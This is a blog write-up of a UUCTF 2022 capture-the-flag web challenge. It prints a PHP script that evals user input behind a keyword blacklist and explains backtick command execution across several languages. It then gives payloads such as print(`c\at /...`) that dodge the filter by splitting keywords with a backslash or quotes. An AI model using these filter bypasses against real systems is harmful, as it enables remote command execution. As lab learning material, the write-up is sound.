[UUCTF 2022 新生赛]ez_rce

[UUCTF 2022 新生赛]ez_rce wp

在做这道题时,我参考了这篇博客:

https://www.cnblogs.com/bkofyZ/p/17594549.html

认识到了自己的一些不足。

题目代码如下:

复制代码
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
        echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
        eval($code);
    }
    else{
        die("你想干什么?????????");
    }
}
else{
    echo "居然都不输入参数,可恶!!!!!!!!!";
    show_source(__FILE__);
}

反引号命令执行

此前我一直以为反引号是 shell 命令里才能用的东西,所以没往这边想。现在知道 PHP 是有的,不止 PHP ,其他各大语言也有。

既然碰到了,那就认真学一下,区分一下它们之间的区别。

PHP 反引号

PHP 支持一个执行运算符:反引号( `` )。

PHP 会将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。

使用反引号运算符( `` )的效果与函数 shell_exec ( ) 相同。

推荐文章:php 执行运算符

shell 反引号

shell 反引号中的命令会先执行,将执行结果返回出来,再作为外部命令的一部分。

在 shell 命令中,反引号与 $() 作用相同,都是命令替换。

比如:

复制代码
echo these are files in the directory :`ls`
# 或者
echo these are files in the directory :$(ls)

在这条命令中,ls 命令会先执行,再执行 echo 命令。返回结果:

复制代码
these are files in the directory :index.html

推荐文章:shell中的 单引号' '、双引号 " " 和 反引号`

python、go 中的反引号

python、go 中的反引号作用相同,即反引号包裹的是原始字符串,不做任何转义。

比如 \n 在反引号中不会被解释为换行,还是它原本的样子。

java 反引号

java 中的反引号有时可以作为标识符的一部分。

推荐文章:反引号 java

sql 语句反引号

sql 语句中的反引号是为了区分MySQL的保留字与普通字符而引入的符号。

例如:

复制代码
SELECT `select` FROM `test` WHERE select='字段值'

在这里,select 是关键字,使用反引号将其标识为普通字符,如果不使用,会出现语法错误。

此外,当标识符以数字开头时,也需要添加反引号,否则该标识符会被当成一个数字。

推荐博客:

在mysql语句中为什么要加反引号

mysql 标识符以数字开头

shell 绕过关键字过滤

已知 PHP 反引号中的内容会被当成 shell 命令来执行,shell 命令在绕过关键字过滤时,最简单的方法有以下两种:

复制代码
cat 替换为 c\at
cat 替换为 c''at 。

这样就没问题了。

payload

查看根目录下的文件:

复制代码
print(`l\s /`);

查看 flag 文件:

复制代码
print(`c\at /fffffffffflagafag`);

拿到 flag :

疑问:

当我输入以下内容时,flag 没有输出:

复制代码
print(`ca\t /fffffffffflagafag`);

然而下面的内容却能输出:

复制代码
print(`ca''t /fffffffffflagafag`);

有大佬知道为什么吗?

相关推荐
云计算练习生8 小时前
渗透测试行业术语扫盲(第六篇)—— Web安全专用类术语
web安全·网络安全·信息安全·渗透测试术语
码农12138号9 小时前
Bugku HackINI 2022 Whois 详解
linux·web安全·ctf·命令执行·bugku·换行符
三七吃山漆11 小时前
攻防世界——comment
android·python·web安全·网络安全·ctf
lpppp小公主12 小时前
PolarCTF网络安全2025冬季个人挑战赛 wp
安全·web安全
Suckerbin13 小时前
2025年Solar应急响应6月赛 恶意进程与连接分析
安全·web安全·网络安全·安全威胁分析
山川绿水14 小时前
bugku overflow
网络安全·pwn·安全架构
MarkHD14 小时前
车辆TBOX科普 第59次 系统集成与测试深度解析(EMC、功能安全、网络安全)
网络·安全·web安全
浩浩测试一下14 小时前
Kerberos 资源约束性委派误配置下的 S4U2self → S4U2proxy → DCSync 提权高阶手法链
安全·web安全·网络安全·中间件·flask·系统安全·安全架构
码农12138号14 小时前
Bugku - 2023 HackINI Upload0 与 2023 HackINI Upload1 详解
web安全·php·ctf·文件上传漏洞·bugku
白帽子黑客杰哥14 小时前
2025网络安全从零基础到精通:完整进阶路线
安全·web安全